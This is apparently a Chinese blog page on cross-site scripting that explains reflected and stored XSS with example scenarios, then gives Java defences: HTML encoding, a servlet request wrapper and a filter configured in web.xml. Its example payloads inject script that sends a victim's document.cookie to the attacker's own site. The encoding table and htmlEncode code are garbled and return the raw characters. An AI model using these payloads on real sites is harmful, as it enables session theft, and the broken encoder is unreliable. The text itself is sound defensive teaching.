1. XSS攻击基本概念

　　XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

DOM Based XSS

DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。

场景一：

当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：

<%@ page language="Java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<title>XSS测试</title>

</head>

<body>

页面内容：<%=request.getParameter("content")%>

</body>

</html>

我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script> window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script& gt;，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？

Stored XSS

Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。

场景二：

a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)< /script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。
Stored XSS漏洞危害性更大，危害面更广。

XSS防御

我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。

完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。

Html encode

假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。

less-than character (<)	<
greater-than character (>)	>
ampersand character (&)	&
double-quote character (")	"
space character( )
Any ASCII code character whose code is greater-than or equal to 0x80	&#<number>, where <number> is the ASCII character value.

比如用户输入：<script>window.location.href=”http://www.baidu.com”;<
/script>，保存后最终存储的会是：<script>window.location.href=&
quot;http://www.baidu.com"</script>在展现时浏览器会对这些字符转
换成文本内容显示，而不是一段可执行的代码。

下面提供两种Html encode的方法。

使用Apache的commons-lang.jar

StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换

自己实现转换，只转换部分字符

private static String htmlEncode(char c) {

switch(c) {

case '&':

return"&";

case '<':

return"<";

case '>':

return">";

case '"':

return""";

case ' ':

return" ";

default:

return c +"";

}

/** 对传入的字符串str进行Html encode转换 */

public static String htmlEncode(String str) {

if(str ==null || str.trim().equals("")) return str;

StringBuilder encodeStrBuilder = new StringBuilder();

for (int i = 0, len = str.length(); i < len; i++) {

encodeStrBuilder.append(htmlEncode(str.charAt(i)));

}

return encodeStrBuilder.toString();

}

转载自：http://blog.csdn.net/ghsau/article/details/17027893

下面提供两种java或jsp中处理方案：

方案一

如果你遇到的情
况，对与用户的输入、输出有明确的限制，而且对于特殊字符也有明确的规定，那么你可以自己写一个
XSSFilter，使用上面提到的情况二，对不建议输入的特殊字符进行过滤和清理，包括 SQL 注入的一些敏感信息，都是要过滤掉的。基本的
Filter 网上都有，你要做的就是针对自己的业务，再加入对危险字符的处理即可。

方案二

想到一句老话，站
在巨人的肩膀上。第二种方案，就是站在巨人的肩膀上。推荐一款开源插件，xssProject，具体作者不详。GoogleCode
中提供相应了的源代码。想研究的可以自己去找一下。下面着重讲一下，如何在项目中集成 xssProject，并使之为我们服务。

首先，项目中需要引入 xssProtect-0.1.jar、antlr-3.0.1.jar、antlr-runtime-3.0.1.jar 等3个 jar 包。

然后，封装 request，代码如下。

<span style="font-family:Comic Sans MS;">public class NewXssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    HttpServletRequest orgRequest = null;

    public NewXssHttpServletRequestWrapper(HttpServletRequest request) {

        super(request);

        orgRequest = request;

    }

    /**

     * 覆盖getParameter方法，将参数名和参数值都做xss过滤。<br/>

     * 如果需要获得原始的值，则通过super.getParameterValues(name)来获取<br/>

     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖

     */

    @Override

    public String getParameter(String name)

    {

        System.out.println("NewXssFilter处理前的 Value = " + super.getParameterValues(name));

        String value = super.getParameter(xssEncode(name));

        if (value != null)

        {

            value = xssEncode(value);

        }

        System.out.println("NewXssFilter处理后的 Value = " + value);

        return value;

    }

    /**

     * 覆盖getHeader方法，将参数名和参数值都做xss过滤。<br/>

     * 如果需要获得原始的值，则通过super.getHeaders(name)来获取<br/> getHeaderNames 也可能需要覆盖

     */

    @Override

    public String getHeader(String name)

    {

        String value = super.getHeader(xssEncode(name));

        if (value != null)

        {

            value = xssEncode(value);

        }

        return value;

    }

    /**

     * 将容易引起xss漏洞的半角字符直接替换成全角字符

     *

     * @param s

     * @return

     */

    private static String xssEncode(String s)

    {

        if (s == null || s.isEmpty())

        {

            return s;

        }

        StringReader reader = new StringReader( s );

        StringWriter writer = new StringWriter();

        try {

            HTMLParser.process( reader, writer, new XSSFilter(), true );

            return writer.toString();

        }

        catch (NullPointerException e) {

            return s;

        }

        catch(Exception ex)

        {

            ex.printStackTrace();

        }

        return null;

    }

    /**

     * 获取最原始的request

     *

     * @return

     */

    public HttpServletRequest getOrgRequest()

    {

        return orgRequest;

    }

    /**

     * 获取最原始的request的静态方法

     *

     * @return

     */

    public static HttpServletRequest getOrgRequest(HttpServletRequest req)

    {

        if (req instanceof NewXssHttpServletRequestWrapper)

        {

            return ((NewXssHttpServletRequestWrapper) req).getOrgRequest();

        }

        return req;

    }

}</span>

再然后，创建过滤器 NewXssFilter 。

    <span style="font-family:Comic Sans MS;">public class NewXssFilter implements Filter {  

        FilterConfig filterConfig = null;  

        @Override

        public void destroy() {

            this.filterConfig = null;

        }  

        @Override

        public void doFilter(ServletRequest request, ServletResponse response,

                FilterChain chain) throws IOException, ServletException {

            String path = ((HttpServletRequest) request).getContextPath();

            String basePath = request.getScheme() + "://" + request.getServerName()

                    + ":" + request.getServerPort() + path + "/";  

            // HTTP 头设置 Referer过滤

            String referer = ((HttpServletRequest) request).getHeader("Referer"); // REFRESH

            if (referer != null && referer.indexOf(basePath) < 0) {

                ((HttpServletRequest) request).getRequestDispatcher(

                        ((HttpServletRequest) request).getRequestURI()).forward(

                        ((HttpServletRequest) request), response);

                System.out.println("referer不为空，referer >>>>>>>>>>>>>> " + referer);

            }

            NewXssHttpServletRequestWrapper xssRequest = new NewXssHttpServletRequestWrapper((HttpServletRequest) request);

            chain.doFilter(xssRequest, response);

        }  

        @Override

        public void init(FilterConfig filterConfig) throws ServletException {

            this.filterConfig = filterConfig;

        }  

    }</span>

最后，在 web.xml 中配置过滤器。

    <span style="font-family:Comic Sans MS;"><filter>

        <filter-name>XssSqlFilter</filter-name>

        <filter-class>com.***.web.common.NewXssFilter</filter-class>

    </filter>

    <filter-mapping>

        <filter-name>XssSqlFilter</filter-name>

        <url-pattern>/*</url-pattern>

        <dispatcher>REQUEST</dispatcher>

    </filter-mapping></span>

转载自：http://blog.csdn.net/happylee6688/article/details/41314351

补充：http://blog.csdn.net/smstong/article/details/43561607

XSS攻击处理方案的更多相关文章

XSS 攻击实验 & 防御方案
XSS 攻击&防御实验不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑下面以一个用户列表页面来演 ...
360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击
就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇如何获取360站长邀请码,360网站安全站长邀请码首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...
WEB安全实战（五）XSS 攻击的第二种解决方式（推荐）
序说到 XSS 攻击,前边已经有两篇文章在讲这个事了,这次又拿出来说,主要是针对近期工作中的一些新的问题.那么之前是怎么解决问题的呢?为什么又要换解决方式?以下就具体的跟大家分享一下. 旧方案公司 ...
特殊字符的过滤，防止xss攻击
概念 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允 ...
拦截过滤防御XSS攻击 -- Struts2.3 以及 2.5 的解决方式
使用Struts2框架开发的后台在防御XSS攻击的时候很多方式都不能用,因为Struts2对请求进行的二次封装有区别.以下针对Struts2的XSS攻击进行拦截过滤防御解决: Struts2.3 本方 ...
xss攻击（跨站脚本）
原理跨站脚本(Cross site script,简称xss)是一种“HTML注入”,由于攻击的脚本多数时候是跨域的,所以称之为“跨域脚本”. 我们常常听到“注入”(Injection),如SQL注入 ...
认识与防御XSS攻击
什么是xss攻击? XSS,即(Cross Site Scripting)中文名称为“跨站脚本攻击”.XSS的重点不在于跨站攻击而在于脚本攻击.攻击者可以利用 web应用的漏洞或缺陷之处,向页面注入恶 ...
WEB安全 - 认识与防御XSS攻击
目录什么是xss攻击? XSS的危害 XSS攻击分类 xss攻击示例反射型攻击 - 前端URL参数解析反射型攻击 - 后端URL参数解析注入型攻击 - 留言评论如何规避xss攻击? 总结什 ...
转---如何让前端更安全？——XSS攻击和防御详解
前言平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...

随机推荐

HTML 之表单
关于HTML的表单 <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset=&q ...
MarkDown编辑器使用
有几款好用的MarkDown编辑器,参考: https://blog.csdn.net/bat67/article/details/72804251 我就下载的是 MarkDown 2来使用. 现用现 ...
【RL系列】Multi-Armed Bandit笔记补充（一）
在此之前,请先阅读上一篇文章:[RL系列]Multi-Armed Bandit笔记本篇的主题就如标题所示,只是上一篇文章的补充,主要关注两道来自于Reinforcement Learning: An ...
通过Ajax上传文件至WebApi服务器
https://stackoverflow.com/questions/43013858/ajax-post-a-file-from-a-form-with-axios var formData = ...
Linux 添加虚拟网卡
使用的Linux版本是Centos 7: [root@vnode33 bin]# cat /etc/redhat-release CentOS Linux release (Core) 使用ifcon ...
2019-1-7Xiaomi Mi5 刷全球版MIUI教程
2019-1-7Xiaomi Mi5 刷全球版MIUI教程 mi5 教程小书匠欢迎走进zozo的学习之旅. 前言固件下载刷机刷recovery,root 试用体验其他参考前言机器是老 ...
关于css的总结
写在前面 ,学好css,需要长期的推敲和积累 ,细节是不断完善的,逐渐形成自己的风格让自己的css更加接近优雅. 下面来总结一些我觉得比较好的css代码风格 : 1. 一般网页中的背景用 ...
Acm hust 1.25
闲着无聊做了点hust上 acm的训练题 A题 http://acm.hust.edu.cn/vjudge/contest/view.action?cid=104738#problem/A 看了20分 ...
OnDraw和Opanit的区别
OnPaint是WM_PAINT消息的消息处理函数,在OnPaint中调用OnDraw,一般来说,用户自己的绘图代码应放在OnDraw中. OnPaint() 是CWnd的类成员,负责响应WM_PA ...
SQL 单表分页存储过程和单表多字段排序和任意字段分页存储过程
第一种:单表多字段排序分页存储过程 --支持单表多字段查询,多字段排序 create PROCEDURE [dbo].[UP_GetByPageFiledOrder] ( ), --表 ...

XSS攻击处理方案